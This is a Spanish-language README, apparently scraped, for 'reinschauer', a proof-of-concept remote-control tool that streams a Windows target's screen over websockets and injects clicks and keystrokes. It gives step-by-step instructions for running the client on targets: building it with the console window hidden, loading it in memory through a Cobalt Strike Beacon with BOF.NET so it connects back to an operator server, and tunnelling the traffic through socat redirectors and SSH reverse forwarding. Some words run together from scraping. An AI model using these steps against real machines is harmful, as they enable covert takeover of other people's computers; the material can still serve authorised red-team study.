
it is very good

Un PoC para controlar remotamente máquinas Windows a través de Websockets. Echa un vistazo a mi blog para un análisis detallado.


reinschauer convierte los bitmaps en bruto a JPEG y comprime los datos resultantes antes de enviarlos por la red para reducir el tamaño de los fotogramas.
server para generar archivos de servidor TLS o aportar los tuyos propios.reinschauer-server -h para ver las opciones disponibles.+----------------------------------------------------------------------------------------+
| |
| |
| +----------------------------------------------------+ |
| |#1: Type (Binary or Text) | |
| | Binary: JPG Frame | |
| | | |
| |#2: Text | |
| | ELO (Ping) | |
| | FPS <FPS Count> | |
| | SCL <Scaler Count> | |
| | QUL <JPG Quality> | |
| | LCL X Y (Left Click + Coordinates) | |
| | RCL X Y | |
| | KEY <Char> | xxxxxx |
| xxxxx <--+----------------------------------------------------+--> xxxx xx |
| x xx Websockets via TLS xx x |
| x xxxxxx xxxxxxxxx |
| xxx x xx xx x |
| xxxxxxxx xxxxx xxxxxx |
| x xxxxx |
| xx xx |
| x xx xxx |
| xx xx x xx |
| x xx xx xxx |
| x xx x xx |
| x x xx x |
+----------------------------------------------------------------------------------------+
¿Cómo compilar?
>=1.18sudo apt -y install libx11-dev libxcursor-dev xorg-dev libgl1-mesa-dev$ cd client && GOOS=windows GOARCH=amd64 go build
$ cd server && GOOS=linux GOARCH=amd64 go build
He incluido una versión precompilada y autónoma de la variante dotnet en este repositorio. Si quieres compilarla tú mismo, usa el archivo de proyecto de Visual Studio para compilar la variante x64 Release. Si no ocurre automáticamente, descarga los paquetes NuGet necesarios para el proyecto mediante Visual Studio. Es muy probable que tu sistema de destino tampoco tenga estos paquetes instalados, por lo que podrían faltar DLLs al ejecutar el exe resultante en el objetivo. Para solucionarlo, este proyecto invoca automáticamente ILMerge.exe para empaquetar el exe resultante junto con las bibliotecas necesarias. Por lo tanto, usa el archivo generado llamado reinschauer-dotnet-standalone.exe en los objetivos.
Puede que tengas que hacer
go getde algunas cosas antes. Usa-ldflags -H=windowsguipara desactivar la ventana de consola.
¿Quién es el cliente/servidor?
El
clientse ejecuta en la máquina de destino (Windows). El componenteserverse ejecuta en la máquina del tester (Linux). Escucha en0.0.0.0:6969por defecto. Tanto el cliente Golang como el cliente C# son compatibles con el servidor.
¿Es esto un HVNC / escritorio oculto?
No. Usa el mismo escritorio que el usuario.
Algunas teclas y combinaciones de teclas no funcionan, por favor arréglalo
Sé que |, @ y § puede que no funcionen actualmente, al menos en mi teclado alemán de pacotilla. Por favor, arréglalo.
El cliente consume demasiado tiempo de CPU
Usar un valor de FPS más bajo puede funcionar.
No tengo una conexión directa entre client y server
Puedes usar un Beacon de CobaltStrike para tunelizar el tráfico.
¡No tengo Cobaltstrike!
Usa un redireccionador
socatcomo:
socat TCP4-LISTEN:1337,fork TCP4:127.0.0.1:6969
ssh -R 6969:localhost6969 <IP>
y ejecuta el cliente con los parámetros necesarios o hardcodéalos.
Primero, configura BOF.NET según el manual. Además, carga el exe autónomo con bofnet_load <Path to Exe>. Luego, decide cómo usar Reinschauer:
sleep 0.rportfwd_local 6969 127.0.0.1 6969.bofnet_job reinschauer_dotnet.BofStuff. Esto hace que Reinschauer se conecte automáticamente a 127.0.0.1:6969 en 127.0.0.1 de la máquina de destino. Esto también desactiva TLS, ya que de todos modos usa la conexión Beacon.bofnet_jobkill <Job ID>.bofnet_job reinschauer_dotnet.BofStuff <Server IP> <Server Port> true. El parámetro booleano habilita el uso de TLS.bofnet_jobkill <Job ID>.Luego, usa SSH y la función GatewayPorts: Añade GatewayPorts: clientspecified a sshd_config y reinicia el servidor SSH. Entonces, ssh -R '0.0.0.0:8080:localhost:6969'' [...] hará que tu puerto local 6969 esté disponible en 0.0.0.0:8080. Ten cuidado :)
O bien, configura un redireccionador socat en el servidor:
socat TCP4-LISTEN:<Server Port>,fork TCP4:127.0.0.1:6969
ssh -R 6969:localhost6969 <IP>